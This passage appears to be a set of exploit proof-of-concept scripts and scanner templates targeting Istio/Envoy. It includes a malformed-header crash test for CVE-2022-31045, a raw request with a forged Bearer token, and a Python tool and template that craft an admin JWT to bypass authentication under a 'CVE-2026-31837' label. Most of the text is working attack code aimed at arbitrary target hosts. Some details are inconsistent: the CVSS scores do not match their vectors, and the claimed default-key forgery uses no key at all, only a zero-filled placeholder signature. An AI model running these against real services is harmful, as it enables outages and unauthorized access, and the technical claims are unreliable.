    parser.add_argument("-t", "--target", required=True, help="Target host")
    parser.add_argument("-p", "--port", type=int, default=80, help="Target port")
    parser.add_argument("--tls", action="store_true")
    args = parser.parse_args()

    print(BANNER)
    results = test_header_npe(args.target, args.port, args.tls)
    for t in results.get("tests", []):
        print(f"  {'[+]' if t.get('status') == 'timeout-possible-crash' else '[-]'} {t.get('desc')} -> {t.get('status', 'ERR')}")
    print(f"\n[+] Results: {results}")

if __name__ == "__main__":
    main()

id: cve-2022-31045-istio-header-npe

info:
  name: Istio Envoy - HTTP Header Null Pointer Dereference
  author: security-researcher
  severity: critical
  description: Istio Envoy crashes on malformed HTTP headers causing null pointer dereference.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31045
    cwe-id: CWE-476
  metadata:
    max-request: 1
  tags: cve,cve2022,istio,envoy,npe,dos

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      ": ": "malformed"

    matchers:
      - type: status
        status:
          - 502
          - 503
          - 000

GET /api/protected-endpoint HTTP/1.1
Host: target-istio.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.<crafted-payload>.<signature-with-default-key>

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔═══════════════════════════════════════════════════════╗
║  CVE-2026-31837 Istio JWKS Default Key Bypass PoC   ║
╚═══════════════════════════════════════════════════════╝
"""

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def craft_test_jwt(sub="admin@istio.io", iss="https://accounts.google.com"):
    header = b64url_encode(json.dumps({"alg": "RS256", "typ": "JWT"}).encode())
    payload = b64url_encode(json.dumps({
        "sub": sub,
        "iss": iss,
        "iat": 1700000000,
        "exp": 1900000000,
        "role": "admin",
    }).encode())
    placeholder_sig = b64url_encode(b"\x00" * 256)
    return f"{header}.{payload}.{placeholder_sig}"

def test_jwks_bypass(target, path, timeout=10):
    results = {"target": target, "path": path, "tests": []}
    token = craft_test_jwt()
    baseline_url = f"{target}{path}"
    try:
        r = requests.get(baseline_url, timeout=timeout, verify=False)
        baseline_status = r.status_code
    except requests.RequestException as e:
        results["error"] = str(e)
        return results

    tests = [
        {"desc": "With crafted JWT (default key)", "token": token},
        {"desc": "Empty JWT", "token": ".."},
    ]
    for tc in tests:
        headers = {"Authorization": f"Bearer {tc['token']}"}
        try:
            r = requests.get(baseline_url, headers=headers, timeout=timeout, verify=False)
            result = {
                "desc": tc["desc"],
                "status_code": r.status_code,
                "content_length": len(r.content),
            }
            if r.status_code == 200 and baseline_status in (401, 403):
                result["bypassed"] = True
                results["vulnerable"] = True
        except requests.RequestException as e:
            result = {"desc": tc["desc"], "error": str(e)}
        results["tests"].append(result)
    return results

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-31837 Istio JWKS Default Key Bypass PoC")
    parser.add_argument("-t", "--target", required=True, help="Target base URL")
    parser.add_argument("-p", "--path", default="/", help="Protected path")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}{args.path}")
    print(f"[*] Testing JWKS default key bypass...")

    results = test_jwks_bypass(target, args.path, args.timeout)
    if results.get("vulnerable"):
        print(f"[+] VULNERABLE! JWKS default key bypass confirmed!")
    else:
        print(f"[-] Bypass not successful.")
    for t in results.get("tests", []):
        status = "[+]" if t.get("bypassed") else "[-]"
        print(f"  {status} {t.get('desc')} -> HTTP {t.get('status_code', 'ERR')}")
    print(f"\n[+] Full results:")
    print(json.dumps(results, indent=2, ensure_ascii=False))

if __name__ == "__main__":
    main()

id: cve-2026-31837-istio-jwks-default-key

info:
  name: Istio - JWKS Hardcoded Default Key Authentication Bypass
  author: security-researcher
  severity: high
  description: Istio falls back to hardcoded default JWKS keys when remote endpoint is unreachable, enabling JWT forgery.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-31837
    cwe-id: CWE-798
  metadata:
    max-request: 1
  tags: cve,cve2026,istio,jwks,jwt,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      Authorization: "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbkBpc3Rpby5pbyIsImlzcyI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxOTAwMDAwMDAwfQ.placeholder"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "admin"
        negative: false